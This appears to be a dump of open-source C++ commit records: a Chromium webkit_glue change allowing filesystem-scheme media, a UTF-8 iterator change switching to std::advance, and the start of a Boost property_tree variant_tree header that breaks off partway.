bool result = false;\n RenderThread::current()->Send(new ClipboardHostMsg_ReadData(\n buffer, type, &result, data, metadata));\n return result;\n}\n\nbool ClipboardReadFilenames(ui::Clipboard::Buffer buffer,\n std::vector<string16>* filenames) {\n bool result;\n RenderThread::current()->Send(new ClipboardHostMsg_ReadFilenames(\n buffer, &result, filenames));\n return result;\n}\n\nvoid GetPlugins(bool refresh,\n std::vector<webkit::npapi::WebPluginInfo>* plugins) {\n if (!RenderThread::current()->plugin_refresh_allowed())\n refresh = false;\n RenderThread::current()->Send(new ViewHostMsg_GetPlugins(refresh, plugins));\n}\n\nbool IsProtocolSupportedForMedia(const GURL& url) {\n \/\/ If new protocol is to be added here, we need to make sure the response is\n \/\/ validated accordingly in the media engine.\n if (url.SchemeIsFile() || url.SchemeIs(chrome::kHttpScheme) ||\n url.SchemeIs(chrome::kHttpsScheme) ||\n url.SchemeIs(chrome::kDataScheme) ||\n url.SchemeIs(chrome::kExtensionScheme) ||\n url.SchemeIs(chrome::kBlobScheme))\n return true;\n return false;\n}\n\n\/\/ static factory function\nResourceLoaderBridge* ResourceLoaderBridge::Create(\n const ResourceLoaderBridge::RequestInfo& request_info) {\n return ChildThread::current()->CreateBridge(request_info);\n}\n\n\/\/ static factory function\nWebSocketStreamHandleBridge* WebSocketStreamHandleBridge::Create(\n WebKit::WebSocketStreamHandle* handle,\n WebSocketStreamHandleDelegate* delegate) {\n SocketStreamDispatcher* dispatcher =\n ChildThread::current()->socket_stream_dispatcher();\n return dispatcher->CreateBridge(handle, delegate);\n}\n\nvoid CloseCurrentConnections() {\n RenderThread::current()->CloseCurrentConnections();\n}\n\nvoid SetCacheMode(bool enabled) {\n RenderThread::current()->SetCacheMode(enabled);\n}\n\nvoid ClearCache(bool preserve_ssl_host_info) {\n RenderThread::current()->ClearCache(preserve_ssl_host_info);\n}\n\nvoid ClearHostResolverCache() {\n RenderThread::current()->ClearHostResolverCache();\n}\n\nvoid ClearPredictorCache() {\n RenderThread::current()->ClearPredictorCache();\n}\n\nstd::string GetProductVersion() {\n chrome::VersionInfo version_info;\n std::string product(\"Chrome\/\");\n product += version_info.is_valid() ? version_info.Version()\n : \"0.0.0.0\";\n return product;\n}\n\nbool IsSingleProcess() {\n return CommandLine::ForCurrentProcess()->HasSwitch(switches::kSingleProcess);\n}\n\nvoid EnableSpdy(bool enable) {\n RenderThread::current()->EnableSpdy(enable);\n}\n\nvoid UserMetricsRecordAction(const std::string& action) {\n RenderThread::current()->Send(\n new ViewHostMsg_UserMetricsRecordAction(action));\n}\n\n#if !defined(DISABLE_NACL)\nbool LaunchSelLdr(const char* alleged_url, int socket_count, void* imc_handles,\n void* nacl_process_handle, int* nacl_process_id) {\n std::vector<nacl::FileDescriptor> sockets;\n base::ProcessHandle nacl_process;\n if (!RenderThread::current()->Send(\n new ViewHostMsg_LaunchNaCl(\n ASCIIToWide(alleged_url),\n socket_count,\n &sockets,\n &nacl_process,\n reinterpret_cast<base::ProcessId*>(nacl_process_id)))) {\n return false;\n }\n CHECK(static_cast<int>(sockets.size()) == socket_count);\n for (int i = 0; i < socket_count; i++) {\n static_cast<nacl::Handle*>(imc_handles)[i] =\n nacl::ToNativeHandle(sockets[i]);\n }\n *static_cast<nacl::Handle*>(nacl_process_handle) = nacl_process;\n return true;\n}\n#endif\n\n#if defined(OS_LINUX)\nint MatchFontWithFallback(const std::string& face, bool bold,\n bool italic, int charset) {\n return renderer_sandbox_support::MatchFontWithFallback(\n face, bold, italic, charset);\n}\n\nbool GetFontTable(int fd, uint32_t table, uint8_t* output,\n size_t* output_length) {\n return renderer_sandbox_support::GetFontTable(\n fd, table, output, output_length);\n}\n#endif\n\n} \/\/ namespace webkit_glue\n<commit_msg>Enabled media source content from filesystem: schema.<commit_after>\/\/ Copyright (c) 2011 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ This file provides the embedder's side of random webkit glue functions.\n\n#include \"build\/build_config.h\"\n\n#if defined(OS_WIN)\n#include <windows.h>\n#endif\n\n#include <vector>\n\n#include \"base\/command_line.h\"\n#include \"base\/memory\/ref_counted.h\"\n#include \"base\/string_util.h\"\n#include \"base\/utf_string_conversions.h\"\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/common\/chrome_version_info.h\"\n#include \"chrome\/common\/render_messages.h\"\n#include \"chrome\/common\/url_constants.h\"\n#include \"content\/common\/clipboard_messages.h\"\n#include \"content\/common\/socket_stream_dispatcher.h\"\n#include \"content\/common\/view_messages.h\"\n#include \"content\/plugin\/npobject_util.h\"\n#include \"content\/renderer\/render_thread.h\"\n#include \"googleurl\/src\/url_util.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebKit.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebKitClient.h\"\n#include \"third_party\/WebKit\/Source\/WebKit\/chromium\/public\/WebString.h\"\n#include \"third_party\/skia\/include\/core\/SkBitmap.h\"\n#include \"ui\/base\/clipboard\/clipboard.h\"\n#include \"ui\/base\/resource\/resource_bundle.h\"\n#include \"webkit\/glue\/scoped_clipboard_writer_glue.h\"\n#include \"webkit\/glue\/webkit_glue.h\"\n#include \"webkit\/glue\/websocketstreamhandle_bridge.h\"\n\n#if !defined(DISABLE_NACL)\n#include \"native_client\/src\/shared\/imc\/nacl_imc.h\"\n#include \"native_client\/src\/trusted\/plugin\/nacl_entry_points.h\"\n#endif\n\n#if defined(OS_LINUX)\n#include \"content\/renderer\/renderer_sandbox_support_linux.h\"\n#endif\n\n\/\/ This definition of WriteBitmapFromPixels uses shared memory to communicate\n\/\/ across processes.\nvoid ScopedClipboardWriterGlue::WriteBitmapFromPixels(const void* pixels,\n const gfx::Size& size) {\n \/\/ Do not try to write a bitmap more than once\n if (shared_buf_)\n return;\n\n uint32 buf_size = 4 * size.width() * size.height();\n\n \/\/ Allocate a shared memory buffer to hold the bitmap bits.\n#if defined(OS_POSIX)\n \/\/ On POSIX, we need to ask the browser to create the shared memory for us,\n \/\/ since this is blocked by the sandbox.\n base::SharedMemoryHandle shared_mem_handle;\n ViewHostMsg_AllocateSharedMemoryBuffer *msg =\n new ViewHostMsg_AllocateSharedMemoryBuffer(buf_size,\n &shared_mem_handle);\n if (RenderThread::current()->Send(msg)) {\n if (base::SharedMemory::IsHandleValid(shared_mem_handle)) {\n shared_buf_ = new base::SharedMemory(shared_mem_handle, false);\n if (!shared_buf_ || !shared_buf_->Map(buf_size)) {\n NOTREACHED() << \"Map failed\";\n return;\n }\n } else {\n NOTREACHED() << \"Browser failed to allocate shared memory\";\n return;\n }\n } else {\n NOTREACHED() << \"Browser allocation request message failed\";\n return;\n }\n#else \/\/ !OS_POSIX\n shared_buf_ = new base::SharedMemory;\n if (!shared_buf_->CreateAndMapAnonymous(buf_size)) {\n NOTREACHED();\n return;\n }\n#endif\n\n \/\/ Copy the bits into shared memory\n memcpy(shared_buf_->memory(), pixels, buf_size);\n shared_buf_->Unmap();\n\n ui::Clipboard::ObjectMapParam size_param;\n const char* size_data = reinterpret_cast<const char*>(&size);\n for (size_t i = 0; i < sizeof(gfx::Size); ++i)\n size_param.push_back(size_data[i]);\n\n ui::Clipboard::ObjectMapParams params;\n\n \/\/ The first parameter is replaced on the receiving end with a pointer to\n \/\/ a shared memory object containing the bitmap. We reserve space for it here.\n ui::Clipboard::ObjectMapParam place_holder_param;\n params.push_back(place_holder_param);\n params.push_back(size_param);\n objects_[ui::Clipboard::CBF_SMBITMAP] = params;\n}\n\n\/\/ Define a destructor that makes IPCs to flush the contents to the\n\/\/ system clipboard.\nScopedClipboardWriterGlue::~ScopedClipboardWriterGlue() {\n if (objects_.empty())\n return;\n\n if (shared_buf_) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_WriteObjectsSync(objects_,\n shared_buf_->handle()));\n delete shared_buf_;\n return;\n }\n\n RenderThread::current()->Send(\n new ClipboardHostMsg_WriteObjectsAsync(objects_));\n}\n\nnamespace webkit_glue {\n\nvoid AppendToLog(const char* file, int line, const char* msg) {\n logging::LogMessage(file, line).stream() << msg;\n}\n\nbase::StringPiece GetDataResource(int resource_id) {\n return ResourceBundle::GetSharedInstance().GetRawDataResource(resource_id);\n}\n\n#if defined(OS_WIN)\nHCURSOR LoadCursor(int cursor_id) {\n return ResourceBundle::GetSharedInstance().LoadCursor(cursor_id);\n}\n#endif\n\n\/\/ Clipboard glue\n\nui::Clipboard* ClipboardGetClipboard() {\n return NULL;\n}\n\nbool ClipboardIsFormatAvailable(const ui::Clipboard::FormatType& format,\n ui::Clipboard::Buffer buffer) {\n bool result;\n RenderThread::current()->Send(\n new ClipboardHostMsg_IsFormatAvailable(format, buffer, &result));\n return result;\n}\n\nvoid ClipboardReadAvailableTypes(ui::Clipboard::Buffer buffer,\n std::vector<string16>* types,\n bool* contains_filenames) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadAvailableTypes(\n buffer, types, contains_filenames));\n}\n\nvoid ClipboardReadText(ui::Clipboard::Buffer buffer, string16* result) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadText(buffer, result));\n}\n\nvoid ClipboardReadAsciiText(ui::Clipboard::Buffer buffer, std::string* result) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_ReadAsciiText(buffer, result));\n}\n\nvoid ClipboardReadHTML(ui::Clipboard::Buffer buffer, string16* markup,\n GURL* url) {\n RenderThread::current()->Send(\n new ClipboardHostMsg_ReadHTML(buffer, markup, url));\n}\n\nvoid ClipboardReadImage(ui::Clipboard::Buffer buffer, std::string* data) {\n RenderThread::current()->Send(new ClipboardHostMsg_ReadImage(buffer, data));\n}\n\nbool ClipboardReadData(ui::Clipboard::Buffer buffer, const string16& type,\n string16* data, string16* metadata) {\n bool result = false;\n RenderThread::current()->Send(new ClipboardHostMsg_ReadData(\n buffer, type, &result, data, metadata));\n return result;\n}\n\nbool ClipboardReadFilenames(ui::Clipboard::Buffer buffer,\n std::vector<string16>* filenames) {\n bool result;\n RenderThread::current()->Send(new ClipboardHostMsg_ReadFilenames(\n buffer, &result, filenames));\n return result;\n}\n\nvoid GetPlugins(bool refresh,\n std::vector<webkit::npapi::WebPluginInfo>* plugins) {\n if (!RenderThread::current()->plugin_refresh_allowed())\n refresh = false;\n RenderThread::current()->Send(new ViewHostMsg_GetPlugins(refresh, plugins));\n}\n\nbool IsProtocolSupportedForMedia(const GURL& url) {\n \/\/ If new protocol is to be added here, we need to make sure the response is\n \/\/ validated accordingly in the media engine.\n if (url.SchemeIsFile() || url.SchemeIs(chrome::kHttpScheme) ||\n url.SchemeIs(chrome::kHttpsScheme) ||\n url.SchemeIs(chrome::kDataScheme) ||\n url.SchemeIs(chrome::kExtensionScheme) ||\n url.SchemeIs(chrome::kFileSystemScheme) ||\n url.SchemeIs(chrome::kBlobScheme))\n return true;\n return false;\n}\n\n\/\/ static factory function\nResourceLoaderBridge* ResourceLoaderBridge::Create(\n const ResourceLoaderBridge::RequestInfo& request_info) {\n return ChildThread::current()->CreateBridge(request_info);\n}\n\n\/\/ static factory function\nWebSocketStreamHandleBridge* WebSocketStreamHandleBridge::Create(\n WebKit::WebSocketStreamHandle* handle,\n WebSocketStreamHandleDelegate* delegate) {\n SocketStreamDispatcher* dispatcher =\n ChildThread::current()->socket_stream_dispatcher();\n return dispatcher->CreateBridge(handle, delegate);\n}\n\nvoid CloseCurrentConnections() {\n RenderThread::current()->CloseCurrentConnections();\n}\n\nvoid SetCacheMode(bool enabled) {\n RenderThread::current()->SetCacheMode(enabled);\n}\n\nvoid ClearCache(bool preserve_ssl_host_info) {\n RenderThread::current()->ClearCache(preserve_ssl_host_info);\n}\n\nvoid ClearHostResolverCache() {\n RenderThread::current()->ClearHostResolverCache();\n}\n\nvoid ClearPredictorCache() {\n RenderThread::current()->ClearPredictorCache();\n}\n\nstd::string GetProductVersion() {\n chrome::VersionInfo version_info;\n std::string product(\"Chrome\/\");\n product += version_info.is_valid() ? version_info.Version()\n : \"0.0.0.0\";\n return product;\n}\n\nbool IsSingleProcess() {\n return CommandLine::ForCurrentProcess()->HasSwitch(switches::kSingleProcess);\n}\n\nvoid EnableSpdy(bool enable) {\n RenderThread::current()->EnableSpdy(enable);\n}\n\nvoid UserMetricsRecordAction(const std::string& action) {\n RenderThread::current()->Send(\n new ViewHostMsg_UserMetricsRecordAction(action));\n}\n\n#if !defined(DISABLE_NACL)\nbool LaunchSelLdr(const char* alleged_url, int socket_count, void* imc_handles,\n void* nacl_process_handle, int* nacl_process_id) {\n std::vector<nacl::FileDescriptor> sockets;\n base::ProcessHandle nacl_process;\n if (!RenderThread::current()->Send(\n new ViewHostMsg_LaunchNaCl(\n ASCIIToWide(alleged_url),\n socket_count,\n &sockets,\n &nacl_process,\n reinterpret_cast<base::ProcessId*>(nacl_process_id)))) {\n return false;\n }\n CHECK(static_cast<int>(sockets.size()) == socket_count);\n for (int i = 0; i < socket_count; i++) {\n static_cast<nacl::Handle*>(imc_handles)[i] =\n nacl::ToNativeHandle(sockets[i]);\n }\n *static_cast<nacl::Handle*>(nacl_process_handle) = nacl_process;\n return true;\n}\n#endif\n\n#if defined(OS_LINUX)\nint MatchFontWithFallback(const std::string& face, bool bold,\n bool italic, int charset) {\n return renderer_sandbox_support::MatchFontWithFallback(\n face, bold, italic, charset);\n}\n\nbool GetFontTable(int fd, uint32_t table, uint8_t* output,\n size_t* output_length) {\n return renderer_sandbox_support::GetFontTable(\n fd, table, output, output_length);\n}\n#endif\n\n} \/\/ namespace webkit_glue\n<|endoftext|>"} {"text":"<commit_before>#ifndef INCLUDED_U5E_UTF8_ITERATOR\n#define INCLUDED_U5E_UTF8_ITERATOR\n\n#include <cmath>\n#include <iterator>\n#include <u5e\/utf8_utils.hpp>\n#include <u5e\/codepoint.hpp>\n#include <u5e\/iterator_assertion.hpp>\n\nnamespace u5e {\n \/**\n * u5e::utf8_iterator\n * \n * Iterates over codepoints on utf8 data.\n *\n * Since this iterator manipulates data in octets and offers\n * codepoints, it can't offer a mutable interface. For write access,\n * you need to use an utf8_output_iterator.\n *\/\n template <typename WRAPPEDITERATOR>\n class utf8_iterator_base {\n protected:\n iterator_assertion<WRAPPEDITERATOR, char> _assertions;\n WRAPPEDITERATOR raw_iterator_;\n\n public:\n typedef codepoint value_type;\n typedef const codepoint& reference;\n typedef int difference_type;\n typedef std::bidirectional_iterator_tag iterator_category;\n \n inline utf8_iterator_base(const WRAPPEDITERATOR raw_iterator)\n : raw_iterator_(raw_iterator) { };\n\n inline void forward_one_codepoint() {\n difference_type size = utf8_utils::codepoint_size(*raw_iterator_);\n raw_iterator_ += size;\n }\n \n inline bool rewind_to_start_of_codepoint(const char current_octet) {\n \/\/ when we do '*it = codepoint', we will leave the iterator\n \/\/ halfway into the next character\n if (__builtin_clz(~((current_octet)<<24)) == 1) {\n while ((*(raw_iterator_) & 0b11000000) == 0b10000000) {\n raw_iterator_--;\n }\n return true;\n } else {\n return false;\n }\n }\n\n inline void rewind_one_codepoint() {\n rewind_to_start_of_codepoint(*raw_iterator_);\n raw_iterator_--;\n while ((*(raw_iterator_) & 0b11000000) == 0b10000000) {\n raw_iterator_--;\n }\n }\n\n \n const codepoint current_codepoint() {\n char first_octet = *raw_iterator_;\n if ((first_octet & 0b10000000) == 0) {\n return first_octet;\n } else {\n if (rewind_to_start_of_codepoint(first_octet)) {\n first_octet = *raw_iterator_;\n }\n WRAPPEDITERATOR copy_ = raw_iterator_;\n difference_type size = utf8_utils::codepoint_size(first_octet);\n unsigned char mask_first_octet = ~(0xFF<<(7-size));\n int value = (first_octet & mask_first_octet);\n while (--size) {\n value = value<<6 | (*(++copy_) & 0b00111111);\n }\n return value;\n }\n }\n\n };\n\n template <typename WRAPPEDITERATOR>\n class utf8_const_iterator\n : public utf8_iterator_base<WRAPPEDITERATOR> {\n public:\n typedef utf8_const_iterator pointer;\n\n inline utf8_const_iterator(const WRAPPEDITERATOR raw_iterator)\n : utf8_iterator_base<WRAPPEDITERATOR>(raw_iterator) { };\n \n inline utf8_const_iterator(const utf8_const_iterator& tocopy)\n : utf8_iterator_base<WRAPPEDITERATOR>(tocopy.raw_iterator_) { };\n\n inline utf8_const_iterator& operator++() {\n this->forward_one_codepoint();\n return *this;\n }\n\n inline utf8_const_iterator operator++(int junk) {\n utf8_const_iterator copy(this->raw_iterator_);\n ++(*this);\n return copy;\n }\n \n inline utf8_const_iterator& operator--() {\n this->rewind_one_codepoint();\n return *this;\n }\n\n inline utf8_const_iterator operator--(int junk) {\n utf8_const_iterator copy(this->raw_iterator_);\n --(*this);\n return copy;\n }\n\n inline bool operator==(const utf8_const_iterator& rhs) const {\n return this->raw_iterator_ == rhs.raw_iterator_;\n }\n \n inline bool operator!=(const utf8_const_iterator& rhs) const {\n return this->raw_iterator_ != rhs.raw_iterator_;\n }\n\n inline const codepoint operator*() {\n return this->current_codepoint();\n }\n\n };\n\n template <typename WRAPPEDITERATOR>\n class utf8_iterator\n : public utf8_iterator_base<WRAPPEDITERATOR> {\n public:\n typedef utf8_iterator pointer;\n\n inline utf8_iterator(const WRAPPEDITERATOR raw_iterator)\n : utf8_iterator_base<WRAPPEDITERATOR>(raw_iterator) {};\n \n inline utf8_iterator(const utf8_iterator& tocopy)\n : utf8_iterator_base<WRAPPEDITERATOR>(tocopy.raw_iterator_) {};\n\n inline utf8_iterator& operator++() {\n this->forward_one_codepoint();\n return *this;\n }\n\n inline utf8_iterator operator++(int junk) {\n utf8_iterator copy(this->raw_iterator_);\n ++(*this);\n return copy;\n }\n \n inline utf8_iterator& operator--() {\n this->rewind_one_codepoint();\n return *this;\n }\n\n inline utf8_iterator operator--(int junk) {\n utf8_iterator copy(this->raw_iterator_);\n --(*this);\n return copy;\n }\n\n inline bool operator==(const utf8_iterator& rhs) const {\n return this->raw_iterator_ == rhs.raw_iterator_;\n }\n \n inline bool operator!=(const utf8_iterator& rhs) const {\n return this->raw_iterator_ != rhs.raw_iterator_;\n }\n\n class proxyobject : public codepoint {\n private:\n utf8_iterator<WRAPPEDITERATOR>& ref;\n public:\n proxyobject(utf8_iterator<WRAPPEDITERATOR>& refin)\n :ref(refin) {\n utf8_iterator<WRAPPEDITERATOR> copy = refin;\n value = copy.current_codepoint().value;\n };\n proxyobject& operator=(const codepoint c) {\n int value = c.value; \/\/ operate on codepoint as integer\n int size = std::ceil((float)(32 - __builtin_clz(value)) \/ (float)6);\n if (size <= 1) {\n *(ref.raw_iterator_) = (value & 0xFF);\n } else {\n utf8_iterator<WRAPPEDITERATOR> copy = ref;\n unsigned char first_octet = (0xFF<<(8-size));\n first_octet |= ((value>>((size-1)*6)) & 0xFF);\n *(copy.raw_iterator_) = first_octet;\n copy.raw_iterator_++;\n while (--size) {\n unsigned char octet = 0b10000000;\n octet |= ((value>>((size-1)*6)) & 0b00111111);\n *(copy.raw_iterator_) = octet;\n copy.raw_iterator_++;\n }\n }\n return *this;\n }\n };\n\n \/\/ non const version returns a proxy object\n inline proxyobject operator*() {\n return proxyobject(*this);\n }\n\n };\n \n\n};\n\n#endif\n<commit_msg>- replaced += with std::advance: allows for bidi iterator rather than random access iterator as underlying type for utf8_iterator<commit_after>#ifndef INCLUDED_U5E_UTF8_ITERATOR\n#define INCLUDED_U5E_UTF8_ITERATOR\n\n#include <cmath>\n#include <iterator>\n#include <u5e\/utf8_utils.hpp>\n#include <u5e\/codepoint.hpp>\n#include <u5e\/iterator_assertion.hpp>\n\nnamespace u5e {\n \/**\n * u5e::utf8_iterator\n * \n * Iterates over codepoints on utf8 data.\n *\n * Since this iterator manipulates data in octets and offers\n * codepoints, it can't offer a mutable interface. For write access,\n * you need to use an utf8_output_iterator.\n *\/\n template <typename WRAPPEDITERATOR>\n class utf8_iterator_base {\n protected:\n iterator_assertion<WRAPPEDITERATOR, char> _assertions;\n WRAPPEDITERATOR raw_iterator_;\n\n public:\n typedef codepoint value_type;\n typedef const codepoint& reference;\n typedef int difference_type;\n typedef std::bidirectional_iterator_tag iterator_category;\n \n inline utf8_iterator_base(const WRAPPEDITERATOR raw_iterator)\n : raw_iterator_(raw_iterator) { };\n\n inline void forward_one_codepoint() {\n difference_type size = utf8_utils::codepoint_size(*raw_iterator_);\n std::advance(raw_iterator_, size);\n }\n \n inline bool rewind_to_start_of_codepoint(const char current_octet) {\n \/\/ when we do '*it = codepoint', we will leave the iterator\n \/\/ halfway into the next character\n if (__builtin_clz(~((current_octet)<<24)) == 1) {\n while ((*(raw_iterator_) & 0b11000000) == 0b10000000) {\n raw_iterator_--;\n }\n return true;\n } else {\n return false;\n }\n }\n\n inline void rewind_one_codepoint() {\n rewind_to_start_of_codepoint(*raw_iterator_);\n raw_iterator_--;\n while ((*(raw_iterator_) & 0b11000000) == 0b10000000) {\n raw_iterator_--;\n }\n }\n\n \n const codepoint current_codepoint() {\n char first_octet = *raw_iterator_;\n if ((first_octet & 0b10000000) == 0) {\n return first_octet;\n } else {\n if (rewind_to_start_of_codepoint(first_octet)) {\n first_octet = *raw_iterator_;\n }\n WRAPPEDITERATOR copy_ = raw_iterator_;\n difference_type size = utf8_utils::codepoint_size(first_octet);\n unsigned char mask_first_octet = ~(0xFF<<(7-size));\n int value = (first_octet & mask_first_octet);\n while (--size) {\n value = value<<6 | (*(++copy_) & 0b00111111);\n }\n return value;\n }\n }\n\n };\n\n template <typename WRAPPEDITERATOR>\n class utf8_const_iterator\n : public utf8_iterator_base<WRAPPEDITERATOR> {\n public:\n typedef utf8_const_iterator pointer;\n\n inline utf8_const_iterator(const WRAPPEDITERATOR raw_iterator)\n : utf8_iterator_base<WRAPPEDITERATOR>(raw_iterator) { };\n \n inline utf8_const_iterator(const utf8_const_iterator& tocopy)\n : utf8_iterator_base<WRAPPEDITERATOR>(tocopy.raw_iterator_) { };\n\n inline utf8_const_iterator& operator++() {\n this->forward_one_codepoint();\n return *this;\n }\n\n inline utf8_const_iterator operator++(int junk) {\n utf8_const_iterator copy(this->raw_iterator_);\n ++(*this);\n return copy;\n }\n \n inline utf8_const_iterator& operator--() {\n this->rewind_one_codepoint();\n return *this;\n }\n\n inline utf8_const_iterator operator--(int junk) {\n utf8_const_iterator copy(this->raw_iterator_);\n --(*this);\n return copy;\n }\n\n inline bool operator==(const utf8_const_iterator& rhs) const {\n return this->raw_iterator_ == rhs.raw_iterator_;\n }\n \n inline bool operator!=(const utf8_const_iterator& rhs) const {\n return this->raw_iterator_ != rhs.raw_iterator_;\n }\n\n inline const codepoint operator*() {\n return this->current_codepoint();\n }\n\n };\n\n template <typename WRAPPEDITERATOR>\n class utf8_iterator\n : public utf8_iterator_base<WRAPPEDITERATOR> {\n public:\n typedef utf8_iterator pointer;\n\n inline utf8_iterator(const WRAPPEDITERATOR raw_iterator)\n : utf8_iterator_base<WRAPPEDITERATOR>(raw_iterator) {};\n \n inline utf8_iterator(const utf8_iterator& tocopy)\n : utf8_iterator_base<WRAPPEDITERATOR>(tocopy.raw_iterator_) {};\n\n inline utf8_iterator& operator++() {\n this->forward_one_codepoint();\n return *this;\n }\n\n inline utf8_iterator operator++(int junk) {\n utf8_iterator copy(this->raw_iterator_);\n ++(*this);\n return copy;\n }\n \n inline utf8_iterator& operator--() {\n this->rewind_one_codepoint();\n return *this;\n }\n\n inline utf8_iterator operator--(int junk) {\n utf8_iterator copy(this->raw_iterator_);\n --(*this);\n return copy;\n }\n\n inline bool operator==(const utf8_iterator& rhs) const {\n return this->raw_iterator_ == rhs.raw_iterator_;\n }\n \n inline bool operator!=(const utf8_iterator& rhs) const {\n return this->raw_iterator_ != rhs.raw_iterator_;\n }\n\n class proxyobject : public codepoint {\n private:\n utf8_iterator<WRAPPEDITERATOR>& ref;\n public:\n proxyobject(utf8_iterator<WRAPPEDITERATOR>& refin)\n :ref(refin) {\n utf8_iterator<WRAPPEDITERATOR> copy = refin;\n value = copy.current_codepoint().value;\n };\n proxyobject& operator=(const codepoint c) {\n int value = c.value; \/\/ operate on codepoint as integer\n int size = std::ceil((float)(32 - __builtin_clz(value)) \/ (float)6);\n if (size <= 1) {\n *(ref.raw_iterator_) = (value & 0xFF);\n } else {\n utf8_iterator<WRAPPEDITERATOR> copy = ref;\n unsigned char first_octet = (0xFF<<(8-size));\n first_octet |= ((value>>((size-1)*6)) & 0xFF);\n *(copy.raw_iterator_) = first_octet;\n copy.raw_iterator_++;\n while (--size) {\n unsigned char octet = 0b10000000;\n octet |= ((value>>((size-1)*6)) & 0b00111111);\n *(copy.raw_iterator_) = octet;\n copy.raw_iterator_++;\n }\n }\n return *this;\n }\n };\n\n \/\/ non const version returns a proxy object\n inline proxyobject operator*() {\n return proxyobject(*this);\n }\n\n };\n \n\n};\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>\/\/----------------------------------------------------------------------------\n\/\/\/ \\file variant_tree.hpp\n\/\/----------------------------------------------------------------------------\n\/\/\/ \\brief This file contains a tree class that can hold variant values.\n\/\/----------------------------------------------------------------------------\n\/\/ Author: Serge Aleynikov\n\/\/ Created: 2010-07-10\n\/\/----------------------------------------------------------------------------\n\/*\n***** BEGIN LICENSE BLOCK *****\n\nThis file may be included in various open-source projects.\n\nCopyright (C) 2010 Serge Aleynikov <saleyn@gmail.com>\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\n***** END LICENSE BLOCK *****\n*\/\n\n#ifndef _UTIL_VARIANT_TREE_HPP_\n#define _UTIL_VARIANT_TREE_HPP_\n\n#include <util\/variant.hpp>\n#include <util\/typeinfo.hpp>\n#include <boost\/property_tree\/ptree.hpp>\n#include <boost\/property_tree\/info_parser.hpp>\n#include <boost\/lexical_cast.hpp>\n#include <boost\/utility\/enable_if.hpp>\n#include <boost\/throw_exception.hpp>\n\nnamespace boost {\nnamespace property_tree {\n \/\/ Custom translator that works with util::variant instead of std::string.\n \/\/ This translator is used to read\/write values from files.\n template <>\n struct translator_between<util::variant, std::string>\n {\n typedef translator_between<util::variant, std::string> type;\n typedef std::string external_type;\n typedef util::variant internal_type;\n\n boost::optional<external_type> get_value(const internal_type& value) const {\n return boost::optional<external_type>(\n value.type() == internal_type::TYPE_NULL ? \"\" : value.to_string());\n }\n\n boost::optional<internal_type> put_value(const external_type& value) const {\n try {\n long n = lexical_cast<long>(value);\n for(external_type::const_iterator it=value.begin(), end=value.end(); it!=end; ++it)\n if (*it < '0' || *it > '9')\n throw false;\n return boost::optional<internal_type>(n);\n } catch (...) {}\n try {\n double n = lexical_cast<double>(value);\n return boost::optional<internal_type>(n);\n } catch (...) {}\n if (value == \"true\" || value == \"false\")\n return boost::optional<internal_type>(value[0] == 't');\n return boost::optional<internal_type>(value);\n }\n };\n\n} \/\/ namespace property_tree\n} \/\/ namespace boost\n\nnamespace util {\n\nnamespace detail {\n\n \/\/ Custom translator that works with variant instead of std::string\n \/\/ This translator is used to get\/put values through explicit get\/put calls.\n template <class Ext>\n struct variant_translator\n {\n typedef Ext external_type;\n typedef variant internal_type;\n\n \/*\n typedef boost::mpl::joint_view<variant::int_types,\n boost::mpl::vector<bool,double>\n > valid_non_string_types;\n *\/\n typedef variant::valid_types valid_types;\n\n external_type get_value(const internal_type& value) const {\n return value.get<external_type>();\n }\n\n template<typename T>\n typename boost::disable_if<\n boost::is_same<\n boost::mpl::end<valid_types>::type,\n boost::mpl::find<variant::valid_types, T>\n >, \n internal_type>::type\n put_value(T value) const {\n return variant(value);\n }\n };\n\n typedef boost::property_tree::basic_ptree<\n std::string, \/\/ Key type\n variant, \/\/ Data type\n std::less<std::string> \/\/ Key comparison\n > basic_variant_tree;\n\n} \/\/ namespace detail\n\nclass variant_tree : public detail::basic_variant_tree\n{\n typedef detail::basic_variant_tree base;\n typedef variant_tree self_type;\npublic:\n typedef boost::property_tree::ptree_bad_path bad_path;\n\n variant_tree() {}\n\n template <typename Source>\n static void read_info(Source& src, variant_tree& tree) {\n boost::property_tree::info_parser::read_info(src, tree);\n }\n\n template <typename Target>\n static void write_info(Target& tar, variant_tree& tree) {\n boost::property_tree::info_parser::write_info(tar, tree);\n }\n\n template <typename Target, typename Settings>\n static void write_info(Target& tar, variant_tree& tree, const Settings& tt) {\n boost::property_tree::info_parser::write_info(tar, tree, tt);\n }\n\n template <class T>\n T get_value() const {\n using boost::throw_exception;\n\n if(boost::optional<T> o =\n base::get_value_optional<T>(detail::variant_translator<T>())) {\n return *o;\n }\n BOOST_PROPERTY_TREE_THROW(boost::property_tree::ptree_bad_data(\n std::string(\"conversion of data to type \\\"\") +\n typeid(T).name() + \"\\\" failed\", base::data()));\n }\n\n template <class T>\n T get_value(const T& default_value) const {\n return base::get_value(default_value, detail::variant_translator<T>());\n }\n\n std::string get_value(const char* default_value) const {\n return base::get_value(std::string(default_value),\n detail::variant_translator<std::string>());\n }\n\n template <class T>\n boost::optional<T> get_value_optional() const {\n return base::get_value(detail::variant_translator<T>());\n }\n\n template <class T>\n void put_value(const T& value) {\n base::put_value(value, detail::variant_translator<T>());\n }\n\n template <class T>\n T get(const path_type& path) const {\n try {\n return base::get_child(path).BOOST_NESTED_TEMPLATE\n get_value<T>(detail::variant_translator<T>());\n } catch (boost::bad_get& e) {\n std::stringstream s;\n s << \"Cannot convert value to type '\" << type_to_string<T>() << 